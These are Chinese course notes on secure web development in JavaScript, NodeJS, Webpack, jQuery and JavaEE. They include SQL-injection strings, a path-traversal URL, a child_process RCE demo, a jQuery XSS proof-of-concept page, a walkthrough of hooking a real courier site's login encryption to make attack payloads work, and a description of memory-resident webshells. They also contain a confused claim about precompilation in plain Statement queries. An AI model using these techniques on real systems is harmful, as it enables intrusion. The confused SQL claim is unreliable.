1、获取对象 
标签:直接写 
Class:加上符号. 
id:加上符号# 
<h1 id="myHeader" onclick="getValue()">这是标题</h1> 
document.querySelector('h1') 
document.querySelector('.id') 
document.querySelector('#myHeader') 
 
2、获取对象属性 
<h1 id="myHeader" onclick="getValue()">这是标题</h1> 
const h1=document.querySelector('h1') 
const id=h1.id 
console.log(id) 
 
2、操作元素数据 
innerHTML 解析后续代码 
innerText 不解析后续代码 
 
3、操作元素属性 
 
#JS 导入库开发-编码加密-逆向调试 
//Base64 
 
//MD5 
<script src="js/md5.js"></script> 
<script> 
 var str1 = 'xiaodisec' 
 var str_encode = md5(str1); 
 console.log(str_encode) 
</script> 

//SHA1
<!DOCTYPE html>
<script src="js/crypto-js.js"></script><script>
var strl='xiaodisec';
var str_encode =CryptoJs.SHA1(strl).tostring();// 注意:1是数字1
console.log(str_encode)
</script>
</html>

//HMAC
<script src="js/crypto-js.js"></script>
<script>
var key= 'key';
var strl='xiaodisec';
var hash =CryptoJS.HmacSHA256(key,strl);
var str encode=CryptoJS.enc.Hex.stringify(hash);
console.log(strencode)//
'11a7960cd583ee2c3f1ed910dbc3b6c3991207cbc527d122f69e84d13cc5ce5c'
</script>
功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等技术:原生开发,DOM,常见库使用,框架开发(Vue,Nodes),打包器(Webpack)等安全:原生开发安全,NodeJs安全,Vue安全,打包器webpack安全,三方库安全问题等

JS 原生开发-DOM 树-用户交互

image-20250819204847533

点击刷新之后会显示文件名

image-20250819204841513

image-20250820110403169

image-20250820110421027

标题刷新

image-20250820164910846

图片刷新

image-20250821201329904

就是用document.querySelector('img')获取之后用.接里面的内容可以获取值

安全问题:DOM XSS

image-20250822090024844

这里的值在点击刷新后就会传到imf的src中去

image-20250822090049744

DOM就是当用户输入是页面发生变化,有事件之后就会更改这个值

JS 导入库开发-编码加密-逆向调试

安装三个包

npm install crypto-js jsencrypt js-md5

image-20250822101118351

md5加密

image-20250822102324763

image-20250822102331773

SHA1加密

image-20250822102924784

image-20250822102930952

HMAC加密

image-20250822103210746

image-20250822103220593

AES

image-20250822103431639

image-20250822103446383

两则案例分析-解析安全&登录调试

xiaodi博客

登陆界面看login.php

image-20250822104827196

一个ajax登录按钮,也就是单击登陆事件->声明变量->发送数据,然后密码是MD5加密

image-20250822105057960

image-20250822105230000

这样可以知道加密就是MD5加密

在网站中要测试,如果不知道加密算法,你发送过去的数据如果是明文那么网站压根就不知道你发的是什么,没有效

申通

登录看网络,出现一个LoginResult

image-20250822110629096

UserName
LbNtTCXXoVcs+vKnYeWx8iM2Z+1HuAaRJGmQ1Tp+EMbUkCl1Dbwu4j9IFI2DETNHjP2Kc5vUH5bfQErllsGxSYpf0eoErI2S28DuCuEjG+X6izXGScNwef5pi/dUZEeC2n4ylsLcTlOqc1ON/TKaJ5iTAmKXuVDoZ6boGuV2keo=
Mobile
xxjRmQ0WyQxXfKf6ReRQEqIYTDL0aN4Rcou/70PjSJ1VNSht9h9dS1VtxJExl+ngxspzQp1wRgkL7esOtMqqLegxCxGqHppjP/Mv4QT6y77PazcNUH0ELae572gr0G7YH/jXQDvI6jfBYtcoCKPJT8lawnB6ayfbKJPEI2N9ESc=
Password
I6e6TNvJaGqhL20ouFRaIYsc69GX3hqBE3lJqzVaq5N6q7wHp16Ge7/CXnHlF6vV51qcUBIQZlAAsQcvAW1az9m53wDF8cNVpLjnduOpO5yHnCma8Fds13Ge6raMJSb7iua4WeUZemhj+wA+uxQRr6BaVdgn9CaUgzGzABE4Yf0=

点表单,看用户名是用什么发送的(检查)

image-20250822110815228

发现numMobile,全局搜索

image-20250822111145592

发现encrypt,但是直接拿去控制台会用不了

image-20250822111300106

断点

image-20250822111824728

image-20250822111814391

再次回到控制台会发现可以用了

image-20250822111911457

后续测试也可以直接改攻击语句

image-20250822111924109

就是后续测试的时候传的值就是加密后的值,这样的测试攻击就有效


第30天:安全开发-JS应用&NodeJS指南&原型链污染&Express框架&功能实现&审计

1、NodeJS-开发环境&功能实现 
2、NodeJS-安全漏洞&案例分析 
3、NodeJS-开发指南&特有漏洞
#环境搭建-NodeJS-解析安装&库安装 
0、文档参考: 
https://www.w3cschool.cn/nodejs/ 
1、Nodejs 安装 
https://nodejs.org/en 
 
2、三方库安装 
express 
Express 是一个简洁而灵活的 node.js Web 应用框架 
 
body-parser 
node.js 中间件,用于处理 JSON, Raw, Text 和 URL 编码的数据。 
 
cookie-parser 
这就是一个解析 Cookie 的工具。通过 req.cookies 可以取到传过来的 cookie,并把它们转成对象。 
 
multer 
node.js 中间件,用于处理 enctype="multipart/form-data"(设置表单的 MIME编码)的表单数据。 
 
mysql 
Node.js 来连接 MySQL 专用库,并对数据库进行操作。 
 
安装命令: 
npm i express 
npm i body-parser 
npm i cookie-parser 
npm i multer 
npm i mysql 
 
#功能实现-NodeJS-数据库&文件&执行 
-登录操作 
1、Express 开发 
2、实现用户登录 
3、加入数据库操作 
 
-文件操作 
1、Express 开发 
2、实现目录读取 
3、加入传参接受

-命令执行(RCE)
1、eval
2、exec & spawnSyn

#安全问题-NodeJs-注入&RCE&原型链
1、SQL注入&文件操作
2、RCE执行&原型链污染
2、NodeJs黑盒无代码分析
实战测试NodeJs安全:
判断:参考前期的信息收集
黑盒:通过对爸种功能和参数进行payload测试
白盒:通过对代码中写法安全进行审计分析
-原型链污染
如果攻击者控制并修改了一个对象的原型,(__proto__)
那么将可以影响所有和这个对象来自同一个类、父祖类的对象。

#案例分析-NodeJS-CTF题目&源码审计
1、CTFSHOW几个题目
https://ctf.show/Web334-3442
https://f1veseven.github.io/2022/04/03/ctf-nodejs-zhi-yi-xie-xiao-zhi-shi/
2、YApi管理平台漏洞
https://blog.csdn.net/weixin_42353842/article/details/127960229

#开发指南-NodeJs-安全SecGuide项目
https://github.com/Tencent/secguide
功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等技术:原生开发,DOM,常见库使用,框架开发(Vue,Nodes),打包器(Webpack)等安全:原生开发安全,NodeJs安全,Vue安全,打包器webpack安全,三方库安全问题等

环境搭建-NodeJS-解析安装&库安装

nodejs安装,安装express

image-20250822171006046

运行

image-20250822171015110

访问

image-20250822171022036

  • 前端JS:在浏览器中按F12可以看到所有HTML/CSS/JS源代码
  • Node.js:运行在服务器端,用户无法通过浏览器查看服务器代码

登录

sql.html

image-20250822172138010

image-20250822172143402

sql.js

image-20250828150044862

启动查看

image-20250828150055636

访问,注意路由是login

http://localhost:3000/login

image-20250828150930822

加一个首页

image-20250828202013746

image-20250828202007386

html文件

image-20250828202300043

image-20250828202306947

用了html文件之后需要接收两个数据

image-20250828202621119

req.query:获取URL的查询参数串,所以这里的post要改成get,js里面的也是

image-20250829093901511

image-20250829095342081

登录

image-20250829094031189

image-20250829094128641

POST路由来实现,引入库

image-20250829094909047

安装库,写js,html里面的方法改成post

image-20250829095328303

登录

image-20250829095416709

功能实现-NodeJS-数据库&文件&执行

数据库

image-20250829100239678

image-20250829100559868

image-20250829100552557

这里取出来的是列表

image-20250829100749967

取第0行的username和password

这样写会有sql注入产生,改一下sql然后把数据库部分放进post请求

image-20250829102010803

image-20250829102042888

报错处理

image-20250829102557451

查询语句是

select * from admin where username="admin" and password="123456"

sql注入写法

select * from admin where username="admin" or 1=1 # and password="123456"

注释了后续的语句

image-20250829102859456

image-20250829102906075

因为这里的判断是接收的值

image-20250829102919787

所以不会进入后台

文件管理

image-20250829103815287

获取当前目录

image-20250829103856857

获取dir

image-20250829104721396

http://127.0.0.1:3000/file?dir=./
http://127.0.0.1:3000/file?dir=../
http://127.0.0.1:3000/file?dir=c:/

image-20250829104813685

安全问题-NodeJS-注入&RCE&原型链

系统命令执行

简单执行计算器

image-20250829105214622

exec和spawnSync都可以

代码命令执行

eval

image-20250829105921505

image-20250829105927543

代码命令执行跳到系统命令执行

image-20250829110109446

nodejs判断

image-20250829110718162

原型链

image-20250829144229661

命令执行

image-20250829144329835

require('child_process').execSync('calc')

这会在Windows系统上打开计算器程序

案例分析-NodeJS-CTF 题目&源码审计

开发指南-NodeJS-安全 SecGuide 项目


第31天:安全开发-JS应用&WebPack打包器&第三方库JQuery&安装使用&安全检测

#打包器-WebPack-使用&安全 
参考:https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA 
Webpack 是一个模块打包器。在 Webpack 中会将前端的所有资源文件都作为模块处理。它将根据模块的依赖关系进行分析,生成对应的资源。 
 
五个核心概念: 
1. 【入口(entry)】:指示 webpack 应该使用哪个模块,来作为构建内部依赖图开始。 
2. 【输出(output)】:在哪里输出文件,以及如何命名这些文件。 
3. 【Loader】:处理那些非 JavaScript 文件(webpack 自身只能解析 
JavaScript 和 json)。webpack 本身只能处理 JS、JSON 模块,如果要加载其他类型的文件(模块),就需要使用对应的 loader。 
4. 【插件(plugins)】:执行范围更广的任务,从打包到优化都可以实现。 
5. 【模式(mode)】:有生产模式 production 和开发模式 development。 
 
使用: 
1、创建需打包文件 
2、安装 webpack 库 
3、创建 webpack 配置文件 
4、运行 webpack 打包命令 
安全: 
1、WebPack 源码泄漏-模式选择 
2、模糊提取安全检查-PacketFuzzer 
https://github.com/rtcatc/Packer-Fuzzer 
原生态 JS:前端语言直接浏览器显示源代码 
NodeJS:服务段语言浏览器不显示源代码 
WebPack:打包模式选择开发者模式后会造成源码泄漏(nodejs vue) 
 
#第三方库-JQuery-使用&安全 
jQuery 是一个快速、简洁的 JavaScript 框架,是一个丰富的 JavaScript 代码库。
设计目的是为了写更少的代码,做更多的事情。它封装 JavaScript 常用功能代码,提
供一种简便的 JavaScript 设计模式,优化 HTML 文档操作、事件处理、动画设计和
Ajax 交互。 
 
1、使用: 
引用路径:
2、安全: 
检测:http://research.insecurelabs.org/jquery/test/ 
测试:CVE-2020-11022/CVE-2020-11023 
功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等技术:原生开发,DOM,常见库使用,框架开发(Vue,Nodes),打包器(Webpack)等安全:原生开发安全,NodeJs安全,Vue安全,打包器webpack安全,三方库安全问题等

打包器-WebPack-使用&安全

简单举例的文件引用

src下的1.js

image-20250829171047176

src下的2.js

image-20250829171056966

index.html

image-20250829171107141

控制台会显示test,但是如果非常多的js文件这样一个个引用会很麻烦,可以用WebPack来打包很多函数,并且代码看起来更加规矩

创建打包文件

1.js

image-20250829172818028

2.js

image-20250829172824731

main.js

image-20250829174605880

index.html

image-20250829172845790

安装 webpack 库

npm install --save-dev webpack webpack-cli

创建 webpack 配置文件

webpack.config.js文件

image-20250829173651742

运行 webpack 打包命令

npx webpack

image-20250829175306428

得到bulid目录下的app.js

image-20250829174628700

在index.html里面引用打包好的文件

image-20250829175403372

控制台有结果了

image-20250829175421735

开发者模式

上面的打包方法用的是开发者模式,也就是development

image-20250829180250908

这个模式在前端界面可以看到源码和代码逻辑

image-20250829180347470

生产者模式

image-20250829180431957

继续打包操作得到app.js文件会发现代码很短

image-20250829180601997

访问index.html

image-20250829180654561

这个和上一个对比会发现源代码看不到了,得到的app.js也直接显示出来的结果

也就是说如果打包的时候选择的是开发者模式就会造成源码泄露

第三方库-JQuery-使用&安全

【JQuery-XSS漏洞(CVE-2020-11022/CVE-2020-11023)漏洞复现】_jquery xss-CSDN博客

JQuery版本大于等于1.2 ,小于 3.5.0

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
    <!-- 修改为本地jQuery文件 -->
    <script src="./jquery-3.4.1/jquery-3.4.1.js"></script>
    <!-- <script src="./jquery-3.5.1/jquery-3.5.1.js"></script> -->
</head>
<body>
<script>
function test(n,jq){
    sanitizedHTML = document.getElementById('poc'+n).innerHTML;
    if(jq){
        $('#div').html(sanitizedHTML);
    }else{
        div.innerHTML=sanitizedHTML;
    }
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>
 
<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=x onerror=alert('XSS-PoC1')> 
</xmp>
 
<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=x onerror=alert('XSS-PoC2')>">
</xmp>
 
<h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=x onerror=alert('XSS-PoC3')></style>
</xmp>
 
<div id="div"></div>

<script>
// 显示当前使用的jQuery版本
document.write('<p>当前使用jQuery版本: ' + $.fn.jquery + '</p>');
</script>
</body>
</html>

3.4.1

image-20250829214421065

image-20250829214611890

test函数,jq是true,进入if

jQuery 的 .html() 方法在将字符串变成真实的DOM元素并插入到div里之前,必须先对它进行解析

$('#div').html(sanitizedHTML) 这行代码的作用就是把 sanitizedHTML 变量里的字符串(也就是 <style><style /><img src=x onerror=alert('XSS-PoC1')>)设置到 <div id="div"></div> 这个容器里

由于解析错误,<img src=x onerror=alert('XSS-PoC1')> 这段代码没有被当作纯文本,而是被当作一个真实的、需要执行的HTML标签插入了到DOM中。

浏览器渲染引擎看到了这个 <img> 标签,就会去加载它的 src

因为 src="x" 是一个无效的地址,图片加载失败

图片加载失败会触发 onerror 事件,于是 alert('XSS-PoC1') 这段JavaScript代码就被执行了,弹窗就出现了

image-20250829215150888

传入之后的iv是

<div id="div">

</div>
  • jQuery的解析器看到 <style><style /> 时,犯了一个关键错误。
  • 它认为 <style /> 是一个自闭合标签,等同于 <style></style>
  • 解析器认为第一个 <style> 标签已经被闭合了
  • 于是,它把接下来的 <img> 标签解析到了 <style> 标签之外
  • 浏览器看到这个独立的 <img> 标签,就会去加载 src="x",加载失败触发 onerror,执行 alert

image-20250829215955597

3.5.1

div是

<div id="div">
<style><style /><img src=x onerror=alert('XSS-PoC1')> 
</style></div>
  • jQuery团队修改了解析器逻辑。
  • 新解析器不再将<style />视为自闭合标签而提前结束样式块。
  • 它将整个 <style /><img src=x onerror=alert('XSS-PoC1')> 都视为 <style> 标签的文本内容
  • 在HTML中,<style> 标签内的内容不会被浏览器当作HTML元素解析,只会被当作文本。
  • 因此,<img> 标签永远不会被浏览器当作真实的图像元素处理,onerror 事件自然也不会触发。

image-20250829220018994


第32天:安全开发-JavaEE应用&Servlet路由技术&JDBC&Mybatis数据库&生命周期

#JavaEE-HTTP-Servlet&路由&周期 
参考:https://blog.csdn.net/qq_52173163/article/details/121110753 
1、解释 
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。使用 Servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。本章内容详细讲解了 web 开发的相关内容以及 servlet 相关内容的配置使用,是JAVAEE 开发的重中之重。 
 
2、创建和使用 Servlet 
-创建一个类继承 HttpServlet 
-web.xml 配置 Servlet 路由 
-WebServlet 配置 Servlet 路由 
-写入内置方法(init service destroy doget dopost) 
 
3、Servlet 生命周期 
见图 
 
4、处理接受和回显 
● HttpServletRequest 是 ServletRequest 的子接口 
getParameter(name) — String 通过 name 获得值 
getParameterValues — String[ ] 通过 name 获得多值 
 
● HttpServletResponse 是 ServletResponse 的子接口 
setCharacterEncoding() 设置编码格式 
setContentType() 设置解析语言 
getWriter() 获得一个 PrintWriter 字符输出流输出数据 
PrintWriter 接受符合类型数据 
 
#JavaEE-数据库-JDBC&Mybatis&库 
-原生态数据库开发:JDBC 
参考:https://www.jianshu.com/p/ed1a59750127 
JDBC(Java Database connectivity): 由 java 提供,用于访问数据库的统一 API接口规范.数据库驱动: 由各个数据库厂商提供,用于访问数据库的 jar 包(JDBC 的具体实现),遵循 JDBC 接口,以便 java 程序员使用! 
1、下载 jar 
https://mvnrepository.com/ 
2、引用封装 jar 
创建1ib目录,复制导入后,添加为库
3、注册数据库驱动
Class.forName("com.mysql.jdbc.Driver");
4、建立数据库连接
string url ="jdbc:mysql://localhost:3306/demo01";
Connection connection=DriverManager.getConnection (url,"x","x");
5、创建statement执行SQL
Statement statement=connection.createStatement();
ResultSet resultSet=statement.executeQuery(sql);
6、结果Resultset进行提取
while(resultSet.next()){
	int id = resultSet.getInt("id");
	String page_title = resultSet.getString("page title");
	......
}

-框架数据库开发:Mybatis
Mybatis是一款优秀的持久层框架,避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集的过程,减少了代码的冗余,减少程序员的操作。
功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等框架库:MyBatis,SpringMVC,SpringBoot,shiro,Log4j,FastJson等
技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

JavaEE-HTTP-Servlet&路由&周期

示例文件

IDEA新建项目

image-20250830164044903

image-20250830164144921

image-20250830164209621

自动生成文件的目录,其中的主要文件是在src下面的main和test里面

image-20250831095723780

不做修改尝试运行代码

image-20250831095752400

image-20250831095808396

点击Hello Servlet显示

image-20250831095844314

创建和使用 Servlet

-创建一个类继承 HttpServlet

新建Java类,IndexServlet

image-20250831100009789

继承HttpServlet

image-20250831100343735

添加doGet,当客户端(如浏览器)向服务器发送一个 HTTP GET 请求时,这个请求最终会被路由到对应的 Servlet 上。如果该 Servlet 类中重写了 doGet 方法,那么服务器容器(如 Tomcat, Jetty, WildFly)就会自动调用这个 doGet 方法来处理这个请求

image-20250831100601826

先输出看看是什么

image-20250831100822034

-web.xml 配置 Servlet 路由

在webapp里面的WEB-INF的web.xml文件中配置

名字自己取,class复制IndexServlet的引用

image-20250831101133453

image-20250831101450785

  • 作用告诉服务器,有一个新的服务员来了。
  • <servlet-name>index</servlet-name>:给他起个花名或者工号,叫 index。这个名字是为了方便内部管理,你自己喜欢叫什么都可以(比如叫 aaa 也行,但一般会起有意义的名字)。
  • <servlet-class>...</servlet-class>:这是这个服务员的身份证,上面写着他的全名和家庭住址(在Java里叫全限定类名)。这样服务器就能根据这个地址精确地找到他这个人(这个类)。

简单说:这一段就是登记服务员信息,给他办了个工牌,工牌上的名字叫 index,指向真正干活的人 com.example.demo02.IndexServlet

image-20250831101518877

  • 作用告诉服务器,这个服务员应该在哪个窗口接待客人。
  • <servlet-name>index</servlet-name>:这里喊的是刚才那个花名叫 index 的服务员。这个名字必须和上面的 <servlet-name> 一模一样,否则就喊错人了。
  • <url-pattern>/index</url-pattern>:这就是给他安排的工位号或者窗口号。现在,所有访问这个“窗口”的客人,都会由他来接待。

简单说:这一段就是给那个叫 index 的服务员安排了一个工作岗位,岗位地址是 /index

当在浏览器里输入网址:http://网站地址/项目名/index,于是,IndexServlet 里的 doGetdoPost 方法就开始工作,为客人生成响应

image-20250831101617253

所以这个时候运行之后访问/index就会触发IndexServlet里面的doGet然后输出-------doGet,运行之后apache会自动生成文件在目录下

image-20250831102036481

访问index

image-20250831102053961

image-20250831102108777

System.out.println("-------doGet");

这个是显示到调试器里面,下面是有回显

image-20250831102716672

运行,url后门加上name值

image-20250831103041492

这个是Get,还有POST

image-20250831103519763

image-20250831103643383

还有很多其他的

image-20250831103707208

-WebServlet 配置 Servlet 路由

这个方法就不需要去web.xml文件配置了,只需要在class上面加上

@WebServlet("/new")

image-20250831105155301

运行

image-20250831105310842

-写入内置方法(init service destroy doget dopost)

image-20250830084704648

了解内置函数的执行顺序

image-20250831105859113

每一个都写一个输出来看执行顺序

  1. init(ServletConfig config)
  • 调用时机:在Servlet被第一次创建时调用,且只调用一次
  • 作用:用于执行一次性初始化工作。比如加载配置文件、建立数据库连接池等。
  • 注意:通常我们不会直接重写这个方法,而是重写无参数的 init() 方法,因为 ServletConfig 的初始化工作父类已经做好了。
  1. service(ServletRequest req, ServletResponse res)
  • 调用时机每次请求到达时,容器首先调用这个方法。
  • 作用:这是最顶层的服务方法,接收通用的请求和响应对象。它的主要任务是将通用的 ServletRequest/ServletResponse 转换为HTTP专用的 HttpServletRequest/HttpServletResponse,然后调用下一个 service 方法。
  1. service(HttpServletRequest req, HttpServletResponse resp)
  • 调用时机:被上一个 service 方法自动调用
  • 作用:这是HTTP专用的服务方法。它会检查请求的方法类型(req.getMethod()),如果是GET就调用 doGet(),如果是POST就调用 doPost(),等等。这是请求分发的核心枢纽
  1. doGet() / doPost()
  • 调用时机:被上一个 service 方法根据请求类型调用
  • 作用这才是真正写业务逻辑的地方。你平时重写的就是这两个方法。
  1. destroy()
  • 调用时机:在Servlet被销毁之前调用(通常是在服务器关闭或项目卸载时),且只调用一次
  • 作用:用于执行清理工作。比如关闭数据库连接、释放资源等。

JavaEE-数据库-JDBC&Mybatis&库

下载jar文件之后创建lib目录存放

image-20250831112645540

右键添加为库

注册数据库驱动

image-20250831124010547

建立数据库连接

image-20250831124741291

创建Statement执行SQL

image-20250831125737620

在这里的sql查询语句如果是拼接的写法也很难产生sql注入,因为有预编译

什么是预编译?

想象一下你要去餐厅吃饭:

  • 普通 Statement:就像每次点菜都重新写一份完整的菜单:"我要一份鱼香肉丝"。
  • 预编译 PreparedStatement:餐厅有个预制好的菜单模板:"我要一份______",你只需要在空白处填上菜名。

在JDBC中,PreparedStatement 就是一个带有占位符 ? 的SQL模板。

代码对比

1. 不使用预编译(Statement - 有风险)

String username = request.getParameter("username"); // 用户输入:'admin' OR '1'='1'
String password = request.getParameter("password");

// 直接拼接SQL字符串 - 危险!
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

最终生成的SQL:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '任意密码'

由于 OR '1'='1' 永远为真,黑客就能绕过登录

2. 使用预编译(PreparedStatement - 安全)

String username = request.getParameter("username"); // 即使用户输入:'admin' OR '1'='1'
String password = request.getParameter("password");

// 使用带占位符的SQL模板
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);

// 为占位符设置值
pstmt.setString(1, username); // 第一个问号
pstmt.setString(2, password); // 第二个问号

ResultSet rs = pstmt.executeQuery();

无论用户输入什么,最终执行的SQL都是:

SELECT * FROM users WHERE username = '\'admin\' OR \'1\'=\'1\'' AND password = '任意密码'

注意:用户的恶意输入被当成了一个完整的字符串值,而不是SQL代码的一部分

  1. 编译与执行分离
    • PreparedStatement 先将SQL模板(SELECT * FROM users WHERE username = ? AND password = ?)发送给数据库进行编译。
    • 数据库知道这是一个查询,其中有两个参数需要后续传入。
  2. 数据作为字面值
    • 当你调用 pstmt.setString(1, username) 时,即使用户输入了 ' OR '1'='1,数据库也会把它当作一个完整的字符串
    • 它不会再次编译SQL,只是简单地将这个字符串值"填入"预先编译好的查询模板中。
  3. 自动转义
    • PreparedStatement 会自动处理特殊字符(如单引号'),会在它们前面加上转义符\,确保它们被当作数据的一部分,而不是SQL语法。

第33天:安全开发-JavaEE应用&SQL预编译&Filter过滤器&Listener监听器&访问控制

#JavaEE-预编译-SQL 
预编译 SQL 语句并执行,预防 SQL 注入问题 
String safesql="select * from news where id=?"; 
PreparedStatement 
preparedStatement=connection.prepareStatement(); 
preparedStatement.setString(1,s); 
ResultSet resultSet=preparedStatement.executeQuery(); 
 
#JavaEE-过滤器-Filter 
Filter 被称为过滤器,过滤器实际上就是对 Web 资源进行拦截,做一些处理后再交给下一个过滤器或 Servlet 处理,通常都是用来拦截 request 进行处理的,也可以对返回的 response 进行拦截处理。开发人员利用 filter 技术,可以实现对所有 Web 资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。 
1、创建过滤器 
2、过滤器内置方法 
init doFilter destroy 
3、过滤器触发流程 
@WebFilter("/xss") 
<filter> 
 <filter-name>xssFilter</filter-name> 
 <filter-class>com.example.filter.xssFilter</filter-class> 
</filter> 
<filter-mapping> 
 <filter-name>xssFilter</filter-name> 
 <url-pattern>/xss</url-pattern> 
</filter-mapping> 
4、过滤器安全场景 
Payload 检测,权限访问控制,红队内存马植入,蓝队清理内存马等 
内存马参考:https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw 
 
#JavaEE-监听器-Listen 
参考:https://blog.csdn.net/qq_52797170/article/details/124023760 -监听 ServletContext、HttpSession、ServletRequest 等域对象创建和销毁事件 
-监听域对象的属性发生修改的事件 
-监听在事件发生前、发生后做一些必要的处理 
1、创建监听器 
2、监听器内置方法 
3、监听器触发流程 
@WebListener 
<listener>
......
</listener>
4、监听器安全场景代码审计中分析执行逻辑触发操作,后门内存马植入等

image-20250901091150644

image-20250901091201998

image-20250901091220089

JavaEE-预编译-SQL

sql的拼接写法

image-20250901101833031

image-20250901101846702

image-20250901102208265

预编译安全写法

image-20250901101920734

image-20250901102014919

这里的原理上一篇结尾写了一点

JavaEE-过滤器-Filter

Xss过滤

快捷键:alt+insert,显示

image-20250901105736327

新建目录Filter,文件XssFilter.java

image-20250901111903809

注意路由是@WebFilter,接口Filter,三个方法:初始化、过滤、销毁,运行

image-20250901112010092

还没有访问test的时候就已经初始化了

image-20250901112028379

doFilter是在访问了路由之后才会用的方法

image-20250901112335995

image-20250901112341097

加上放行请求和回复

image-20250901112429087

image-20250901112505963

xss拦截:

image-20250901113409563

当输入xss语句的时候

image-20250901113656248

image-20250901113704776

被过滤了,访问一次就过滤一次

image-20250901114549960

如果是正常的语句就可以放心到TestServlet里面然后执行

后台登录Cookie过滤

AdminServlet.java:

image-20250901152043537

AdminFilter.java:

image-20250901152104048

也是有初始化、过滤加销毁,用Cookie验证

运行之后访问admin会显示Cookie值和非法

image-20250901152423382

image-20250901152433197

去浏览器加上Cookie

image-20250901152508441

再次访问

image-20250901152528875

进入了

内存马

1. 常规后门

想象一下,黑客攻入了一台服务器(比如一个网站服务器)。

  • 是什么:他会在服务器的硬盘上上传一个后门文件,比如一个特殊的 shell.phphack.exe
  • 如何工作:这个文件本身就是一个完整的、独立的恶意程序。攻击者通过访问这个文件的网址或执行它,就能获得服务器的控制权。
  • 特点
    • 有文件实体:在硬盘上真实存在,看得见摸得着。
    • 持久化:服务器不重启,它就一直存在。
    • 易被发现:安全软件(杀毒软件、Webshell扫描工具)可以通过扫描硬盘文件,很容易地发现并删除它。

2. 内存马

黑客攻入服务器后,换了一种更高级的思路。

  • 是什么:他不上传任何文件,而是利用服务器上正在运行的某个合法程序(比如 Tomcat、Weblogic、Spring 等Java应用)的漏洞或功能,将恶意代码直接注入到该程序的内存中
  • 如何工作:这段恶意代码会伪装成服务器的一个合法部件,比如一个Filter(过滤器)、一个Servlet、一个Controller等。当外部有特定请求发来时,这个“内鬼”部件就会激活,执行攻击者的命令。
  • 特点
    • 无文件实体:它只存在于服务器的内存(RAM) 里,硬盘上找不到任何对应的恶意文件。
    • 隐蔽性极高:传统的文件扫描手段完全无效,因为根本就没文件可扫。
    • 非持久化:一旦服务器重启,内存中的数据全部清空,这个内存马也就“死”了。但高手攻击者会想办法让它在重启后能自动重新注入。
    • 检测困难:需要分析内存快照或监控进程的异常行为才能发现,门槛很高。

JavaEE-监听器-Listen

CSession文件,用来创建Session

image-20250901160658621

DSession文件,用来销毁Session:

image-20250901160718066

监听器:,注意@WebListener不需要路由

image-20250901160733595

运行

image-20250901160820137

还没有访问cs和ds监听器就开启了,访问cs

image-20250901161238814

创建了Session,访问ds

image-20250901161303673

也就是创建和销毁都监听到了

如果一直访问cs的话只会一直创建Session但是监听只有一次

image-20250901161844894


第34天:安全开发-JavaEE应用&反射机制&攻击链&类对象&成员变量方法&构造方法

1、什么是 Java 反射 
参考:https://xz.aliyun.com/t/9117 
Java 提供了一套反射 API,该 API 由 Class 类与 java.lang.reflect 类库组成。 该类库包含了 Field、Method、Constructor 等类。 
对成员变量,成员方法和构造方法的信息进行的编程操作可以理解为反射机制。 
 
2、为什么要用到反射 
参考:https://xz.aliyun.com/t/9117 
其实从官方定义中就能找到其存在的价值,在运行时获得程序或程序集中每一个类型的成员和成员的信息,从而动态的创建、修改、调用、获取其属性,而不需要事先知道运行的对象是谁。划重点:在运行时而不是编译时。(不改变原有代码逻辑,自行运行的时候动态创建和编译即可) 
 
3、反射机制应用 
开发应用场景: 
Spring 框架的 IOC 基于反射创建对象和设置依赖属性。 
SpringMVC 的请求调用对应方法,也是通过反射。 
JDBC 的 Class#forName(String className)方法,也是使用反射。 
 
安全应用场景: 
构造利用链,触发命令执行 
反序列化中的利用链构造 
动态获取或执行任意类中的属性或方法 
动态代理的底层原理是反射技术 
rmi 反序列化也涉及到反射操作 
 
#Java-反射-Class 对象类获取 
//1、根据类名:类名.class 
Class userClass = User.class; 
//2、根据对象:对象.getClass() 
User user = new User(); 
Class aClass = user.getClass(); 
//3、根据全限定类名:Class.forName("全路径类名") 
Class aClass1 = Class.forName("com.example.reflectdemo.User"); 
//4、通过类加载器获得 Class 对象:
//ClassLoader.getSystemClassLoader().loadClass("全路径类名"); 
ClassLoader clsload=ClassLoader.getSystemClassLoader(); 
Class aClass2 = 
clsload.loadClass("com.example.reflectdemo.User"); 

image-20250902092151430

Java-反射-Class 对象类获取

四种方法都可以获取

image-20250902095329226

Java-反射-Field 成员变量类获取

image-20250902092203835

